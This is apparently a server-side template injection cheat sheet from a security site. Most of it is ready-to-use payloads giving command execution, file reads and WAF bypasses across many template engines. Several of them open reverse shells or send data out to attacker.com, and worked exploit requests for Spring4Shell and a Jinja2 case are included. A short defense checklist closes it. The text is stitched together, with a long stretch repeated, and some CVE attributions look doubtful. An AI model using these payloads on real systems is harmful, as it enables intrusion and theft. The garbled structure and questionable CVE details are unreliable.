Razor (.NET — ASP.NET MVC)
@(7*7)
@System.Diagnostics.Process.Start("cmd.exe","/c whoami")
@{var x = new System.Diagnostics.Process(); x.StartInfo.FileName="cmd.exe"; x.StartInfo.Arguments="/c id"; x.Start(); }
@System.IO.File.ReadAllText("C:\\Windows\\win.ini")
Blind SSTI Techniques
When there is no output returned, use out-of-band channels:
DNS Callback (Jinja2)
# Uses subprocess to issue DNS lookup
{{''.__class__.__mro__[1].__subclasses__()[229](['nslookup','attacker.com'],stdout=-1).communicate()}}
# Curl callback with command output
{{''.__class__.__mro__[1].__subclasses__()[229](['curl','http://attacker.com/?x='+__import__('os').popen('id').read().strip()],stdout=-1).communicate()}}
Timing Attack (Jinja2)
# Sleep 5 seconds to confirm execution
{{''.__class__.__mro__[1].__subclasses__()[229](['sleep','5'],stdout=-1).communicate()}}
# Conditional sleep: true if user is 'root'
{{''.__class__.__mro__[1].__subclasses__()[229](['sh','-c','if [ $(id -u) -eq 0 ]; then sleep 5; fi'],stdout=-1).communicate()}}
File Write to Web Root
# Write output to accessible path, then fetch it
{{''.__class__.__mro__[1].__subclasses__()[229](['sh','-c','id>/var/www/html/x.txt'],stdout=-1).communicate()}}
# Then: curl http://target.com/x.txt
ERB Blind
<%= require 'net/http'; Net::HTTP.get(URI('http://attacker.com/?x='+`id`.chomp)) %>
Freemarker Blind
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("curl http://attacker.com/?x=$(id)")}
WAF Bypass for SSTI
Jinja2 — Dot Notation Bypass
# attr() filter instead of dots
{{''|attr('__class__')|attr('__mro__')|list}}
# Hex-encoded attribute name
{{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']}}
# Unicode encoded
{{''['__class__']}}
# String concatenation
{{''['__cla'+'ss__']['__mr'+'o__'][1]['__subcla'+'sses__']()}}
# __getitem__ method
{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(0)}}
# Indirect via request args (if Jinja2 auto-escaping off)
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')}}
# Format filter
{{'%s'.__class__}}
Twig — Keyword Evasion
# If "system" is blocked
{{"id"|passthru}}
{{["id"]|map("shell_exec")|join}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
Blocking {{}}
# Some WAFs block {{ but not {%
{% set x = 7*7 %}{{ x }}
{% print(7*7) %} # some engines
Tools
| Tool | Command |
|---|---|
| tplmap | python tplmap.py -u 'http://target.com/?name=*' |
| SSTImap | python sstimap.py -u 'http://target.com/?name=*' --os-shell |
| Burp Intruder | Fuzz injection points with detection list |
tplmap Common Flags
# Basic scan
python tplmap.py -u "http://target.com/?name=*"
# POST data
python tplmap.py -u "http://target.com/page" -d "name=*"
# Interactive OS shell
python tplmap.py -u "http://target.com/?name=*" --os-shell
# File upload
python tplmap.py -u "http://target.com/?name=*" --upload /local/file /remote/path
# Reverse shell
python tplmap.py -u "http://target.com/?name=*" --os-shell --reverse-shell attacker.com:4444
Real-World Examples
| CVE / Incident | Year | Engine | Impact |
|---|---|---|---|
| CVE-2019-11496 | 2019 | Pebble (Javalin) | SSTI → RCE in Javalin web framework |
| CVE-2019-3799 | 2019 | Freemarker (Spring Cloud) | SSTI → arbitrary file read + RCE via Spring Cloud Config |
| CVE-2020-9484 | 2020 | Velocity (Apache Tomcat) | SSTI in deserialization chain |
| CVE-2022-22963 | 2022 | Spring Cloud Function | SpEL injection → RCE (Spring4Shell precursor) |
| CVE-2022-22965 | 2022 | Spring Framework | Spring4Shell — SpEL/Thymeleaf class loader manipulation → RCE |
| CVE-2023-36934 | 2023 | MOVEit Transfer | SSTI in .NET Razor → unauthenticated RCE |
| Uber H1 Report | 2016 | Jinja2 | SSTI in flask render_template_string() → full server access |
| HackerOne — Shopify | 2015 | Liquid (Ruby) | SSTI → info leak in email templates |
CTF Machines
- HTB: FormulaX — Nunjucks SSTI via chat bot input
- HTB: Encoding — PHP filter chain SSTI-like exploitation
- HTB: Templated — Jinja2 SSTI → RCE in Flask app (beginner friendly)
- HTB: Bolt — Twig SSTI in CMS template editor
- PicoCTF 2022 — Python Jinja2 SSTI challenge
- HTB: Catch — Pebble template injection in Android app API
Bug Bounty Highlights
- Shopify Liquid (2015): Employee subdomain with Liquid SSTI → server-side code execution, $25,000
- Uber (2016):
partners.uber.comJinja2 SSTI → server environment variables exposure, $10,000 - Sandbox.io (2018): Freemarker SSTI → RCE on shared infrastructure, critical
Example: CVE-2022-22965 — Spring4Shell (Thymeleaf/SpEL RCE)
# Exploit Spring Framework RCE via class loader manipulation
POST /register HTTP/1.1
Content-Type: application/x-www-form-urlencoded
class.module.classLoader.resources.context.parent.pipeline.first.pattern=
%25%7B(new+java.util.Scanner(
T(java.lang.Runtime).getRuntime().exec("id").getInputStream()
)).useDelimiter("\\A").next()%7D%25
# Or direct SpEL via Thymeleaf expression
GET /__$%7BT(java.lang.Runtime).getRuntime().exec('id')%7D__::.x HTTP/1.1
Example: Uber SSTI (2016) — Jinja2 RCE
# Vulnerable endpoint: partners.uber.com/partners/<template>
# Input injected into: render_template_string(user_input)
GET /partners/{{config}} HTTP/1.1
# Leaks Flask config, SECRET_KEY, DATABASE_URI
GET /partners/{{lipsum.__globals__['os'].popen('id').read()}} HTTP/1.1
# Output: uid=33(www-data) gid=33(www-data)
# Reverse shell
GET /partners/{{lipsum.__globals__['os'].popen('bash -c "bash -i >%26 /dev/tcp/attacker.com/4444 0>%261"').read()}}
Example: HTB: Bolt — Twig SSTI
# Admin panel allows custom templates — input reflected via Twig
# Detection
{{7*7}} → 49 ✓
# RCE
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
# Output: uid=33(www-data)
# Reverse shell
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'")}}
Example: CVE-2019-3799 — Spring Cloud Config SSTI (Freemarker)
# Vulnerable endpoint: /actuator/env
POST /actuator/env HTTP/1.1
Content-Type: application/json
{"name":"spring.cloud.bootstrap.location",
"value":"http://attacker.com/malicious.yml"}
# malicious.yml contains Freemarker SSTI
POST /actuator/refresh HTTP/1.1
{}
# Triggers template evaluation → RCE
Defense Checklist
- Never render user-controlled input through a template engine
- If dynamic templates are required, use a sandboxed engine (Jinja2's SandboxedEnvironment)
- Whitelist allowed expressions / characters
- Treat template rendering like
eval()— it executes code - Apply CSP to limit impact of successful injection
- Monitor for template syntax in user input
References
- PortSwigger SSTI Labs
- PayloadsAllTheThings SSTI
- HackTricks SSTI
- Related on this site: Blind SSTI to RCE — No Output Exploitation
Scope: Detection through RCE for every mainstream template engine. For exploiting blind SSTI (no visible output), see the dedicated Blind SSTI to RCE writeup.
Detection: Engine-Agnostic Probes
Inject these and observe the output. Each probe is designed to produce a distinct response that fingerprints the engine.
{{7*7}} → 49 Jinja2, Twig, Nunjucks, Pebble
${7*7} → 49 Freemarker, Groovy, Thymeleaf (SpEL)
#{7*7} → 49 Mako, some EL contexts
<%= 7*7 %> → 49 ERB, EJS
{{7*'7'}} → 7777777 Jinja2
{{7*'7'}} → 49 Twig
${{7*7}} → 49 Angular, some custom engines
{7*7} → 49 Smarty (older), some Mustache variants
${{"7"*7}} → 49 Groovy
@(7*7) → 49 Razor (.NET)
*{7*7} → 49 Thymeleaf (selection expressions)
Decision Tree
{{7*7}} → 49?
├── YES → {{7*'7'}} = ?
│ ├── 7777777 → Jinja2 (Python)
│ └── 49 → Twig (PHP) or Nunjucks (Node.js)
│
└── NO → ${7*7} → 49?
├── YES → Freemarker / Velocity / Groovy (Java)
└── NO → <%= 7*7 %> → 49?
├── YES → ERB (Ruby) or EJS (Node.js)
└── NO → #{7*7} → 49?
├── YES → Mako (Python)
└── NO → Possibly Blind SSTI
Jinja2 (Python — Flask, Django, Ansible)
Basic Info Leak
{{7*7}}
{{config}}
{{config.items()}}
{{config.__class__.__init__.__globals__}}
{{request}}
{{request.environ}}
{{self.__dict__}}
{{self._TemplateReference__context}}
RCE via MRO Chain
# Python 2 / older Flask
{{''.__class__.__mro__[2].__subclasses__()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('id', shell=True, stdout=-1).communicate()[0].strip()}}
# Python 3 / modern Flask
{{''.__class__.__bases__[0].__subclasses__()}}
{{''.__class__.__mro__[1].__subclasses__()}}
# Find subprocess.Popen index (varies by Python version/installed packages)
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if c.__name__ == 'Popen' %}{{c(['id'],stdout=-1).communicate()[0]}}{% endif %}
{% endfor %}
# Use index once found (e.g. index 229, 273, 414 — varies)
{{''.__class__.__mro__[1].__subclasses__()[229](['id'],stdout=-1).communicate()[0]}}
RCE via Global Objects
# os via config object
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{config.__class__.__init__.__globals__['__builtins__'].__import__('os').popen('id').read()}}
# os via request globals
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
# Jinja2 built-in helpers that expose globals
{{cycler.__init__.__globals__.os.popen('id').read()}}
{{joiner.__init__.__globals__.os.popen('id').read()}}
{{namespace.__init__.__globals__.os.popen('id').read()}}
{{lipsum.__globals__['os'].popen('id').read()}}
# get_flashed_messages
{{get_flashed_messages.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
Sandbox Escape (Jinja2 Sandbox)
# attr() filter to avoid dot notation filters
{{''|attr('__class__')|attr('__mro__')|list|last|attr('__subclasses__')()}}
# __getitem__ alternative
{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(229)(['id'],stdout=-1).communicate()}}
# Hex-encoded attribute names
{{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']}}
# String concatenation to avoid keyword filters
{{''['__cla'+'ss__']['__mr'+'o__'][1]['__subclas'+'ses__']()[229](['id'],stdout=-1).communicate()}}
# Format string trick
{{'%s'%''.__class__}}
# dict filter
{{dict(__class__=1)|list}}
File Read
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}
{{open('/etc/passwd').read()}} # if open() accessible in globals
{{config.__class__.__init__.__globals__['__builtins__'].open('/etc/passwd').read()}}
Twig (PHP — Symfony, Drupal, Craft CMS)
Basic
{{7*7}}
{{_self.env}}
{{_self.env.enabled}}
{{app.user}}
{{app.request.server.all|join(',')}}
RCE
# Twig < 1.32 (direct filter abuse)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("passthru")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}
# Via array/map filter
{{["id"]|filter("system")}}
{{["id"]|map("system")|join}}
{{["id", "0"]|sort("passthru")}}
{{[0]|reduce("system","id")}}
# Via setCache / loadTemplate
{{_self.env.setCache("ftp://attacker.com:21/")}}
{{_self.env.loadTemplate("backdoor")}}
# PHP functions via macros (Twig 3.x)
{% macro rce(cmd) %}{% set x = cmd|split('')|join %}{% endmacro %}
Info Leak
{{_self.env.getExtension('Symfony\\Bridge\\Twig\\Extension\\ProfilerExtension')}}
{{app.request.cookies}}
{{app.session.all}}
{{app.user.username}}
Freemarker (Java — Spring, JBoss, Adobe ColdFusion)
Basic
${7*7}
${.data_model?keys}
${.globals?keys}
RCE
# Classic Execute
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
# ObjectConstructor + ProcessBuilder
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb=ob("java.lang.ProcessBuilder",["id"])>
<#assign is=pb.start().getInputStream()>
<#assign isr=ob("java.io.InputStreamReader",is)>
<#assign br=ob("java.io.BufferedReader",isr)>
<#assign line=br.readLine()>
${line}
# Direct JVM
${"freemarker.template.utility.Execute"?new()("id")}
${"freemarker.template.utility.Execute"?new()("curl http://attacker.com/$(id)")}
# Runtime.exec via API
<#assign rt="java.lang.Runtime"?new()>
Velocity (Java — Apache, Atlassian Confluence)
Basic
#set($x = 7*7)
$x
$class.inspect("java.lang.Runtime").type
RCE
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($rt=$class.inspect("java.lang.Runtime").type)
#set($ex=$rt.getRuntime().exec("id"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
# Shorter variant
#set($e="e")
#set($run=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null))
#set($proc=$run.exec("id"))
#set($is=$proc.getInputStream())
#set($br=$e.getClass().forName("java.io.BufferedReader").getConstructor($e.getClass().forName("java.io.InputStreamReader")).newInstance($is))
$br.readLine()
# Via Context tools
#set($cmd = "id")
#evaluate("#set($x=$date.getClass().forName('java.lang.Runtime').getRuntime().exec($cmd))")
Smarty (PHP)
# Old versions (Smarty 2.x) — direct PHP
{php}system('id');{/php}
{php}phpinfo();{/php}
{php}echo shell_exec($_GET['cmd']);{/php}
# Via {include} with PHP tag injection
{include file="php:passthru('id')"}
# Modern Smarty (3.x+, no {php} tag by default)
{system('id')}
{'id'|system}
{$smarty.template_object->smarty->registerPlugin('modifier','e','exec')}{'id'|e}
# Smarty sandbox escape
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
# Object method call
{$x=$smarty.template_object->smarty}
{$x->registerPlugin('modifier','shell','shell_exec')}
{'id'|shell}
ERB (Ruby — Rails, Sinatra)
<%= 7*7 %>
<%= system('id') %>
<%= `id` %>
<%= IO.popen('id').read %>
<%= File.read('/etc/passwd') %>
<%= require 'open3'; Open3.capture2('id')[0] %>
<%= Dir.entries('/') %>
<%= ENV['SECRET_KEY_BASE'] %>
# Reverse shell
<%= require 'socket'; s=TCPSocket.new('attacker.com',4444); $stdin=s; $stdout=s; $stderr=s; exec('/bin/bash') %>
# Blind via HTTP
<%= require 'net/http'; Net::HTTP.get(URI('http://attacker.com/?x='+`id`.chomp)) %>
Mako (Python — Pyramid, some Flask setups)
${7*7}
${__import__('os').system('id')}
${__import__('os').popen('id').read()}
<%
import os
result = os.popen('id').read()
%>
${result}
# Via request object
${request.environ}
${request.GET['x']}
# Reverse shell
<%
import socket,subprocess,os
s=socket.socket()
s.connect(('attacker.com',4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(['/bin/bash','-i'])
%>
Thymeleaf (Java — Spring Boot)
# Expression types
${...} → Variable (Spring EL / OGNL)
*{...} → Selection
#{...} → Message
@{...} → URL
~{...} → Fragment
# Info leak
${T(java.lang.System).getenv()}
${T(java.lang.Runtime).getRuntime().availableProcessors()}
# RCE via SpEL
${T(java.lang.Runtime).getRuntime().exec('id')}
*{T(java.lang.Runtime).getRuntime().exec('id')}
# RCE with output capture
${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next()}
# Longer but reliable
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.String).valueOf(new char[]{105,100})).getInputStream())}
# URL expression abuse (template in URL param, no sandbox)
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("curl http://attacker.com/$(id)")}__::.x
# Via ProcessBuilder
${new java.lang.ProcessBuilder(new String[]{"id"}).start().waitFor()}
Nunjucks (Node.js — Express)
{{7*7}}
{{global.process.version}}
{{global.process.env}}
{{global.process.mainModule.require('child_process').execSync('id').toString()}}
# Via range constructor
{{range.constructor("return global.process.mainModule.require('child_process').execSync('id').toString()")()}}
# Via cycler
{{cycler.constructor("return process.mainModule.require('child_process').execSync('id').toString()")()}}
# File read
{{range.constructor("return require('fs').readFileSync('/etc/passwd','utf8')")()}}
Handlebars (Node.js)
# Handlebars sandboxes `this` but prototype chain can be walked
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('id').toString();"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
# Prototype pollution via __proto__
{{__proto__.polluted}}
{{constructor.constructor('return process.env')()}}
EJS (Node.js — Express)
<%= 7*7 %>
<%= process.version %>
<%= process.env %>
<%= require('child_process').execSync('id').toString() %>
<% var x = require('child_process').execSync('id').toString(); %>
<%= x %>
# File read
<%= require('fs').readFileSync('/etc/passwd','utf8') %>
# Reverse shell
<% require('child_process').exec('bash -i >& /dev/tcp/attacker.com/4444 0>&1') %>
Tornado (Python)
{% import os %}{{ os.system("id") }}
{% set x=__import__('os').popen('id').read() %}{{x}}
# Module import
{% from os import popen %}{{popen('id').read()}}
# Raw block bypass
{% raw %}{{7*7}}{% end %}
Pebble (Java)
{% set x = "freemarker.template.utility.Execute"?new() %}
{{ x("id") }}
# Runtime exec
{%set rt = "java.lang.Runtime".forName(null).getRuntime()%}
{%set process = rt.exec("id")%}
{%set is = process.getInputStream()%}
{%set br = "java.io.BufferedReader".forName(null).getConstructor("java.io.InputStreamReader".forName(null)).newInstance(is)%}
{{br.readLine()}}
Groovy (Java — Jenkins, Gradle scripts)
${"id".execute().text}
${["id"].execute().text}
${"bash,-c,id".tokenize(',').execute().text}
<% def x = "id".execute().text %>
${x}
// Jenkins Script Console (direct Groovy)
println "id".execute().text
["bash","-c","id"].execute().text
Runtime.exec("id")
// Reverse shell in Jenkins
String host="attacker.com";
int port=4444;
String cmd="bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());...}
Razor (.NET — ASP.NET MVC)
@(7*7)
@System.Diagnostics.Process.Start("cmd.exe","/c whoami")
@{var x = new System.Diagnostics.Process(); x.StartInfo.FileName="cmd.exe"; x.StartInfo.Arguments="/c id"; x.Start(); }
@System.IO.File.ReadAllText("C:\\Windows\\win.ini")
Blind SSTI Techniques
When there is no output returned, use out-of-band channels:
DNS Callback (Jinja2)
# Uses subprocess to issue DNS lookup
{{''.__class__.__mro__[1].__subclasses__()[229](['nslookup','attacker.com'],stdout=-1).communicate()}}
# Curl callback with command output
{{''.__class__.__mro__[1].__subclasses__()[229](['curl','http://attacker.com/?x='+__import__('os').popen('id').read().strip()],stdout=-1).communicate()}}
Timing Attack (Jinja2)
# Sleep 5 seconds to confirm execution
{{''.__class__.__mro__[1].__subclasses__()[229](['sleep','5'],stdout=-1).communicate()}}
# Conditional sleep: true if user is 'root'
{{''.__class__.__mro__[1].__subclasses__()[229](['sh','-c','if [ $(id -u) -eq 0 ]; then sleep 5; fi'],stdout=-1).communicate()}}
File Write to Web Root
# Write output to accessible path, then fetch it
{{''.__class__.__mro__[1].__subclasses__()[229](['sh','-c','id>/var/www/html/x.txt'],stdout=-1).communicate()}}
# Then: curl http://target.com/x.txt
ERB Blind
<%= require 'net/http'; Net::HTTP.get(URI('http://attacker.com/?x='+`id`.chomp)) %>
Freemarker Blind
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("curl http://attacker.com/?x=$(id)")}
WAF Bypass for SSTI
Jinja2 — Dot Notation Bypass
# attr() filter instead of dots
{{''|attr('__class__')|attr('__mro__')|list}}
# Hex-encoded attribute name
{{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']}}
# Unicode encoded
{{''['__class__']}}
# String concatenation
{{''['__cla'+'ss__']['__mr'+'o__'][1]['__subcla'+'sses__']()}}
# __getitem__ method
{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(0)}}
# Indirect via request args (if Jinja2 auto-escaping off)
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')}}
# Format filter
{{'%s'.__class__}}
Twig — Keyword Evasion
# If "system" is blocked
{{"id"|passthru}}
{{["id"]|map("shell_exec")|join}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
Blocking {{}}
# Some WAFs block {{ but not {%
{% set x = 7*7 %}{{ x }}
{% print(7*7) %} # some engines
Tools
| Tool | Command |
|---|---|
| tplmap | python tplmap.py -u 'http://target.com/?name=*' |
| SSTImap | python sstimap.py -u 'http://target.com/?name=*' --os-shell |
| Burp Intruder | Fuzz injection points with detection list |
tplmap Common Flags
# Basic scan
python tplmap.py -u "http://target.com/?name=*"
# POST data
python tplmap.py -u "http://target.com/page" -d "name=*"
# Interactive OS shell
python tplmap.py -u "http://target.com/?name=*" --os-shell
# File upload
python tplmap.py -u "http://target.com/?name=*" --upload /local/file /remote/path
# Reverse shell
python tplmap.py -u "http://target.com/?name=*" --os-shell --reverse-shell attacker.com:4444
Real-World Examples
| CVE / Incident | Year | Engine | Impact |
|---|---|---|---|
| CVE-2019-11496 | 2019 | Pebble (Javalin) | SSTI → RCE in Javalin web framework |
| CVE-2019-3799 | 2019 | Freemarker (Spring Cloud) | SSTI → arbitrary file read + RCE via Spring Cloud Config |
| CVE-2020-9484 | 2020 | Velocity (Apache Tomcat) | SSTI in deserialization chain |
| CVE-2022-22963 | 2022 | Spring Cloud Function | SpEL injection → RCE (Spring4Shell precursor) |
| CVE-2022-22965 | 2022 | Spring Framework | Spring4Shell — SpEL/Thymeleaf class loader manipulation → RCE |
| CVE-2023-36934 | 2023 | MOVEit Transfer | SSTI in .NET Razor → unauthenticated RCE |
| Uber H1 Report | 2016 | Jinja2 | SSTI in flask render_template_string() → full server access |
| HackerOne — Shopify | 2015 | Liquid (Ruby) | SSTI → info leak in email templates |
CTF Machines
- HTB: FormulaX — Nunjucks SSTI via chat bot input
- HTB: Encoding — PHP filter chain SSTI-like exploitation
- HTB: Templated — Jinja2 SSTI → RCE in Flask app (beginner friendly)
- HTB: Bolt — Twig SSTI in CMS template editor
- PicoCTF 2022 — Python Jinja2 SSTI challenge
- HTB: Catch — Pebble template injection in Android app API
Bug Bounty Highlights
- Shopify Liquid (2015): Employee subdomain with Liquid SSTI → server-side code execution, $25,000
- Uber (2016):
partners.uber.comJinja2 SSTI → server environment variables exposure, $10,000 - Sandbox.io (2018): Freemarker SSTI → RCE on shared infrastructure, critical
Example: CVE-2022-22965 — Spring4Shell (Thymeleaf/SpEL RCE)
# Exploit Spring Framework RCE via class loader manipulation
POST /register HTTP/1.1
Content-Type: application/x-www-form-urlencoded
class.module.classLoader.resources.context.parent.pipeline.first.pattern=
%25%7B(new+java.util.Scanner(
T(java.lang.Runtime).getRuntime().exec("id").getInputStream()
)).useDelimiter("\\A").next()%7D%25
# Or direct SpEL via Thymeleaf expression
GET /__$%7BT(java.lang.Runtime).getRuntime().exec('id')%7D__::.x HTTP/1.1
Example: Uber SSTI (2016) — Jinja2 RCE
# Vulnerable endpoint: partners.uber.com/partners/<template>
# Input injected into: render_template_string(user_input)
GET /partners/{{config}} HTTP/1.1
# Leaks Flask config, SECRET_KEY, DATABASE_URI
GET /partners/{{lipsum.__globals__['os'].popen('id').read()}} HTTP/1.1
# Output: uid=33(www-data) gid=33(www-data)
# Reverse shell
GET /partners/{{lipsum.__globals__['os'].popen('bash -c "bash -i >%26 /dev/tcp/attacker.com/4444 0>%261"').read()}}
Example: HTB: Bolt — Twig SSTI
# Admin panel allows custom templates — input reflected via Twig
# Detection
{{7*7}} → 49 ✓
# RCE
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
# Output: uid=33(www-data)
# Reverse shell
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'")}}
Example: CVE-2019-3799 — Spring Cloud Config SSTI (Freemarker)
# Vulnerable endpoint: /actuator/env
POST /actuator/env HTTP/1.1
Content-Type: application/json
{"name":"spring.cloud.bootstrap.location",
"value":"http://attacker.com/malicious.yml"}
# malicious.yml contains Freemarker SSTI
POST /actuator/refresh HTTP/1.1
{}
# Triggers template evaluation → RCE
Defense Checklist
- Never render user-controlled input through a template engine
- If dynamic templates are required, use a sandboxed engine (Jinja2's SandboxedEnvironment)
- Whitelist allowed expressions / characters
- Treat template rendering like
eval()— it executes code - Apply CSP to limit impact of successful injection
- Monitor for template syntax in user input